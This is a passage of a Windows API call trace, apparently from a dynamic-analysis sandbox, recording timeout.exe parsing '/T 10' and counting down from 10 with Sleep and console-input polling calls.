0x2ad3cfb0000 [0234.092] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc1b10 [0234.092] _memicmp (_Buf1=0x2ad3cfc1b10, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.092] GetProcessHeap () returned 0x2ad3cfb0000 [0234.092] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x208) returned 0x2ad3cfba350 [0234.092] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ad3cfba350, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\system32\\timeout.exe" (normalized: "c:\\windows\\system32\\timeout.exe")) returned 0x1f [0234.092] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\WINDOWS\\system32\\timeout.exe", lpdwHandle=0xe73209f198 | out: lpdwHandle=0xe73209f198) returned 0x75c [0234.130] GetProcessHeap () returned 0x2ad3cfb0000 [0234.130] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x766) returned 0x2ad3cfc5100 [0234.130] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\WINDOWS\\system32\\timeout.exe", dwHandle=0x0, dwLen=0x766, lpData=0x2ad3cfc5100 | out: lpData=0x2ad3cfc5100) returned 1 [0234.130] VerQueryValueW (in: pBlock=0x2ad3cfc5100, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xe73209f130, puLen=0xe73209f190 | out: lplpBuffer=0xe73209f130*=0x2ad3cfc54a8, puLen=0xe73209f190) returned 1 [0234.133] _memicmp (_Buf1=0x2ad3cfc1b10, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.133] _vsnwprintf (in: _Buffer=0x2ad3cfba350, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xe73209f108 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0234.133] VerQueryValueW (in: pBlock=0x2ad3cfc5100, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xe73209f120, puLen=0xe73209f188 | out: lplpBuffer=0xe73209f120*=0x2ad3cfc52dc, puLen=0xe73209f188) returned 1 [0234.133] lstrlenW (lpString="timeout.exe") returned 11 [0234.133] lstrlenW (lpString="timeout.exe") returned 11 [0234.133] lstrlenW (lpString=".EXE") returned 4 [0234.133] StrStrIW (lpFirst="timeout.exe", lpSrch=".EXE") returned=".exe" [0234.134] lstrlenW (lpString="timeout.exe") returned 11 [0234.134] lstrlenW (lpString=".EXE") returned 4 [0234.134] _memicmp (_Buf1=0x2ad3cfc1b10, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.134] lstrlenW (lpString="timeout") returned 7 [0234.134] GetProcessHeap () returned 0x2ad3cfb0000 [0234.134] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe840 [0234.134] GetProcessHeap () returned 0x2ad3cfb0000 [0234.134] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe7b0 [0234.134] GetProcessHeap () returned 0x2ad3cfb0000 [0234.134] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbea80 [0234.134] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbeba0 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc1830 [0234.135] _memicmp (_Buf1=0x2ad3cfc1830, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0xa0) returned 0x2ad3cfb8850 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe750 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbe6f0 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbeab0 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc1870 [0234.135] _memicmp (_Buf1=0x2ad3cfc1870, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x200) returned 0x2ad3cfc5870 [0234.135] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2ad3cfc5870, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0234.135] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x30) returned 0x2ad3cfb4030 [0234.135] _vsnwprintf (in: _Buffer=0x2ad3cfb8850, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xe73209f108 | out: _Buffer="Type \"TIMEOUT /?\" for usage.") returned 28 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] HeapValidate (hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc5100) returned 1 [0234.135] GetProcessHeap () returned 0x2ad3cfb0000 [0234.135] RtlSizeHeap (HeapHandle=0x2ad3cfb0000, Flags=0x0, MemoryPointer=0x2ad3cfc5100) returned 0x766 [0234.136] HeapFree (in: hHeap=0x2ad3cfb0000, dwFlags=0x0, lpMem=0x2ad3cfc5100 | out: hHeap=0x2ad3cfb0000) returned 1 [0234.136] SetLastError (dwErrCode=0x0) [0234.136] GetThreadLocale () returned 0x411 [0234.136] CompareStringA (Locale=0x411, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0234.137] lstrlenW (lpString="?") returned 1 [0234.137] GetThreadLocale () returned 0x411 [0234.137] CompareStringA (Locale=0x411, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0234.137] GetThreadLocale () returned 0x411 [0234.137] CompareStringA (Locale=0x411, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0234.137] lstrlenW (lpString="nobreak") returned 7 [0234.137] SetLastError (dwErrCode=0x0) [0234.137] SetLastError (dwErrCode=0x0) [0234.137] lstrlenW (lpString="/T") returned 2 [0234.137] lstrlenW (lpString="-/") returned 2 [0234.137] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0234.137] lstrlenW (lpString="?") returned 1 [0234.137] lstrlenW (lpString="?") returned 1 [0234.137] GetProcessHeap () returned 0x2ad3cfb0000 [0234.137] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc18b0 [0234.137] _memicmp (_Buf1=0x2ad3cfc18b0, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.137] GetProcessHeap () returned 0x2ad3cfb0000 [0234.137] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0xa) returned 0x2ad3cfc1d30 [0234.137] lstrlenW (lpString="T") returned 1 [0234.138] GetProcessHeap () returned 0x2ad3cfb0000 [0234.138] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc1d50 [0234.138] _memicmp (_Buf1=0x2ad3cfc1d50, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.138] GetProcessHeap () returned 0x2ad3cfb0000 [0234.138] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0xa) returned 0x2ad3cfc18d0 [0234.138] _vsnwprintf (in: _Buffer=0x2ad3cfc1d30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe73209f118 | out: _Buffer="|?|") returned 3 [0234.138] _vsnwprintf (in: _Buffer=0x2ad3cfc18d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe73209f118 | out: _Buffer="|T|") returned 3 [0234.138] lstrlenW (lpString="|?|") returned 3 [0234.138] lstrlenW (lpString="|T|") returned 3 [0234.138] StrStrIW (lpFirst="|?|", lpSrch="|T|") returned 0x0 [0234.138] SetLastError (dwErrCode=0x490) [0234.138] lstrlenW (lpString="t") returned 1 [0234.138] lstrlenW (lpString="t") returned 1 [0234.138] _memicmp (_Buf1=0x2ad3cfc18b0, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.138] lstrlenW (lpString="T") returned 1 [0234.138] _memicmp (_Buf1=0x2ad3cfc1d50, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.138] _vsnwprintf (in: _Buffer=0x2ad3cfc1d30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe73209f118 | out: _Buffer="|t|") returned 3 [0234.138] _vsnwprintf (in: _Buffer=0x2ad3cfc18d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xe73209f118 | out: _Buffer="|T|") returned 3 [0234.138] lstrlenW (lpString="|t|") returned 3 [0234.138] lstrlenW (lpString="|T|") returned 3 [0234.138] StrStrIW (lpFirst="|t|", lpSrch="|T|") returned="|t|" [0234.138] SetLastError (dwErrCode=0x0) [0234.138] SetLastError (dwErrCode=0x0) [0234.138] lstrlenW (lpString="10") returned 2 [0234.138] lstrlenW (lpString="-/") returned 2 [0234.138] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0234.139] SetLastError (dwErrCode=0x490) [0234.139] SetLastError (dwErrCode=0x490) [0234.139] SetLastError (dwErrCode=0x0) [0234.139] lstrlenW (lpString="10") returned 2 [0234.139] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0234.139] SetLastError (dwErrCode=0x490) [0234.139] SetLastError (dwErrCode=0x0) [0234.139] GetProcessHeap () returned 0x2ad3cfb0000 [0234.139] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x18) returned 0x2ad3cfc1a70 [0234.139] _memicmp (_Buf1=0x2ad3cfc1a70, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.139] lstrlenW (lpString="10") returned 2 [0234.139] GetProcessHeap () returned 0x2ad3cfb0000 [0234.139] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x6) returned 0x2ad3cfc0fe0 [0234.139] lstrlenW (lpString="10") returned 2 [0234.139] lstrlenW (lpString=" \x09") returned 2 [0234.139] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0234.139] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0234.139] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0234.139] GetLastError () returned 0x0 [0234.139] lstrlenW (lpString="10") returned 2 [0234.139] lstrlenW (lpString="10") returned 2 [0234.139] SetLastError (dwErrCode=0x0) [0234.139] _errno () returned 0x2ad3ead0850 [0234.139] wcstol (in: _String="10", _EndPtr=0xe73209f478, _Radix=10 | out: _EndPtr=0xe73209f478*="") returned 10 [0234.139] lstrlenW (lpString="") returned 0 [0234.140] _errno () returned 0x2ad3ead0850 [0234.140] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5654 [0234.140] GetStdHandle (nStdHandle=0xfffffff6) returned 0x4c [0234.140] GetFileType (hFile=0x4c) returned 0x2 [0234.140] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0xe73209f464 | out: lpMode=0xe73209f464) returned 1 [0234.142] GetStdHandle (nStdHandle=0xfffffff6) returned 0x4c [0234.142] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0xe73209f460 | out: lpMode=0xe73209f460) returned 1 [0234.142] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e1) returned 1 [0234.143] GetNumberOfConsoleInputEvents (in: hConsoleInput=0x4c, lpNumberOfEvents=0xe73209f454 | out: lpNumberOfEvents=0xe73209f454) returned 1 [0234.143] FlushConsoleInputBuffer (hConsoleInput=0x4c) returned 1 [0234.143] GetProcessHeap () returned 0x2ad3cfb0000 [0234.143] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbeae0 [0234.143] _memicmp (_Buf1=0x2ad3cfc1870, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.144] LoadStringW (in: hInstance=0x0, uID=0x98, lpBuffer=0x2ad3cfc5870, cchBufferMax=256 | out: lpBuffer="\nWaiting for %*lu") returned 0x11 [0234.144] lstrlenW (lpString="\nWaiting for %*lu") returned 17 [0234.144] GetProcessHeap () returned 0x2ad3cfb0000 [0234.144] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x24) returned 0x2ad3cfbeb10 [0234.144] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="\nWaiting for %*lu", _ArgList=0xe73209f438 | out: _Buffer="\nWaiting for 10") returned 15 [0234.144] __iob_func () returned 0x7ff9e83eea00 [0234.144] _fileno (_File=0x7ff9e83eea30) returned 1 [0234.144] _errno () returned 0x2ad3ead0850 [0234.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0234.144] _errno () returned 0x2ad3ead0850 [0234.144] GetFileType (hFile=0x50) returned 0x2 [0234.144] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0234.144] GetFileType (hFile=0x50) returned 0x2 [0234.144] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0234.144] __iob_func () returned 0x7ff9e83eea00 [0234.144] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0234.144] lstrlenW (lpString="\nWaiting for 10") returned 15 [0234.145] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0xf, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0xf) returned 1 [0234.150] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0234.150] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x50, lpConsoleScreenBufferInfo=0xe73209f488 | out: lpConsoleScreenBufferInfo=0xe73209f488) returned 1 [0234.151] GetProcessHeap () returned 0x2ad3cfb0000 [0234.151] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x20) returned 0x2ad3cfbeb40 [0234.151] _memicmp (_Buf1=0x2ad3cfc1870, _Buf2=0x7ff78cda64c0, _Size=0x7) returned 0 [0234.151] LoadStringW (in: hInstance=0x0, uID=0xa0, lpBuffer=0x2ad3cfc5870, cchBufferMax=256 | out: lpBuffer=" seconds, press a key to continue ...") returned 0x25 [0234.151] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0234.151] GetProcessHeap () returned 0x2ad3cfb0000 [0234.151] RtlAllocateHeap (HeapHandle=0x2ad3cfb0000, Flags=0xc, Size=0x4c) returned 0x2ad3cfb9800 [0234.151] __iob_func () returned 0x7ff9e83eea00 [0234.151] _fileno (_File=0x7ff9e83eea30) returned 1 [0234.151] _errno () returned 0x2ad3ead0850 [0234.151] _get_osfhandle (_FileHandle=1) returned 0x50 [0234.151] _errno () returned 0x2ad3ead0850 [0234.151] GetFileType (hFile=0x50) returned 0x2 [0234.151] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0234.151] GetFileType (hFile=0x50) returned 0x2 [0234.151] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0234.152] __iob_func () returned 0x7ff9e83eea00 [0234.152] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0234.152] lstrlenW (lpString=" seconds, press a key to continue ...") returned 37 [0234.152] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x2ad3cfb9800*, nNumberOfCharsToWrite=0x25, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0x2ad3cfb9800*, lpNumberOfCharsWritten=0xe73209f420*=0x25) returned 1 [0234.152] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0234.153] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5654 [0234.153] Sleep (dwMilliseconds=0x64) [0234.258] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0234.259] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5654 [0234.259] Sleep (dwMilliseconds=0x64) [0234.368] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0234.368] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5655 [0234.368] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 9") returned 4 [0234.368] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0234.369] __iob_func () returned 0x7ff9e83eea00 [0234.369] _fileno (_File=0x7ff9e83eea30) returned 1 [0234.369] _errno () returned 0x2ad3ead0850 [0234.369] _get_osfhandle (_FileHandle=1) returned 0x50 [0234.369] _errno () returned 0x2ad3ead0850 [0234.369] GetFileType (hFile=0x50) returned 0x2 [0234.369] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0234.369] GetFileType (hFile=0x50) returned 0x2 [0234.369] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0234.369] __iob_func () returned 0x7ff9e83eea00 [0234.369] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0234.370] lstrlenW (lpString="\x08\x08 9") returned 4 [0234.370] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0234.370] Sleep (dwMilliseconds=0x64) [0234.476] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0234.477] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5655 [0234.477] Sleep (dwMilliseconds=0x64) [0234.603] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0234.679] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5655 [0234.679] Sleep (dwMilliseconds=0x64) [0234.821] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0234.914] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5655 [0234.914] Sleep (dwMilliseconds=0x64) [0235.101] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0235.206] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5655 [0235.206] Sleep (dwMilliseconds=0x64) [0235.335] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0235.492] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5656 [0235.492] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 8") returned 4 [0235.492] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0235.585] __iob_func () returned 0x7ff9e83eea00 [0235.585] _fileno (_File=0x7ff9e83eea30) returned 1 [0235.585] _errno () returned 0x2ad3ead0850 [0235.585] _get_osfhandle (_FileHandle=1) returned 0x50 [0235.585] _errno () returned 0x2ad3ead0850 [0235.585] GetFileType (hFile=0x50) returned 0x2 [0235.585] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0235.585] GetFileType (hFile=0x50) returned 0x2 [0235.586] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0235.679] __iob_func () returned 0x7ff9e83eea00 [0235.679] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0235.679] lstrlenW (lpString="\x08\x08 8") returned 4 [0235.679] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0235.773] Sleep (dwMilliseconds=0x64) [0235.914] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0236.007] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5656 [0236.008] Sleep (dwMilliseconds=0x64) [0236.148] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0236.262] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5656 [0236.262] Sleep (dwMilliseconds=0x64) [0236.385] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0236.457] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5657 [0236.457] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 7") returned 4 [0236.457] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0236.466] __iob_func () returned 0x7ff9e83eea00 [0236.466] _fileno (_File=0x7ff9e83eea30) returned 1 [0236.466] _errno () returned 0x2ad3ead0850 [0236.466] _get_osfhandle (_FileHandle=1) returned 0x50 [0236.466] _errno () returned 0x2ad3ead0850 [0236.466] GetFileType (hFile=0x50) returned 0x2 [0236.466] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0236.466] GetFileType (hFile=0x50) returned 0x2 [0236.466] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0236.489] __iob_func () returned 0x7ff9e83eea00 [0236.489] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0236.489] lstrlenW (lpString="\x08\x08 7") returned 4 [0236.489] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0236.490] Sleep (dwMilliseconds=0x64) [0236.604] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0236.604] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5657 [0236.604] Sleep (dwMilliseconds=0x64) [0236.711] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0236.712] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5657 [0236.712] Sleep (dwMilliseconds=0x64) [0236.821] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0236.821] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5657 [0236.821] Sleep (dwMilliseconds=0x64) [0236.930] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0236.930] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5657 [0236.930] Sleep (dwMilliseconds=0x64) [0237.038] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0237.040] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5657 [0237.040] Sleep (dwMilliseconds=0x64) [0237.149] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0237.257] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5657 [0237.257] Sleep (dwMilliseconds=0x64) [0237.383] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0237.489] time (in: timer=0xe73209f458 | out: timer=0xe73209f458) returned 0x5f3a5658 [0237.489] _vsnwprintf (in: _Buffer=0xe73209f4e0, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0xe73209f438 | out: _Buffer="\x08\x08 6") returned 4 [0237.489] SetConsoleCursorPosition (hConsoleOutput=0x50, dwCursorPosition=0xeb000e) returned 1 [0237.490] __iob_func () returned 0x7ff9e83eea00 [0237.490] _fileno (_File=0x7ff9e83eea30) returned 1 [0237.490] _errno () returned 0x2ad3ead0850 [0237.490] _get_osfhandle (_FileHandle=1) returned 0x50 [0237.490] _errno () returned 0x2ad3ead0850 [0237.490] GetFileType (hFile=0x50) returned 0x2 [0237.490] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0237.490] GetFileType (hFile=0x50) returned 0x2 [0237.490] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xe73209f3b0 | out: lpMode=0xe73209f3b0) returned 1 [0237.491] __iob_func () returned 0x7ff9e83eea00 [0237.491] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0237.491] lstrlenW (lpString="\x08\x08 6") returned 4 [0237.491] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0xe73209f4e0*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0xe73209f420, lpReserved=0x0 | out: lpBuffer=0xe73209f4e0*, lpNumberOfCharsWritten=0xe73209f420*=0x4) returned 1 [0237.491] Sleep (dwMilliseconds=0x64) [0237.602] PeekConsoleInputW (in: hConsoleInput=0x4c, lpBuffer=0xe73209f4a0, nLength=0x2, lpNumberOfEventsRead=0xe73209f454 | out: lpBuffer=0xe73209f4a0, lpNumberOfEventsRead=0xe73209f454) returned 1 [0237.602] time (in: timer=0xe73209f458 | out: 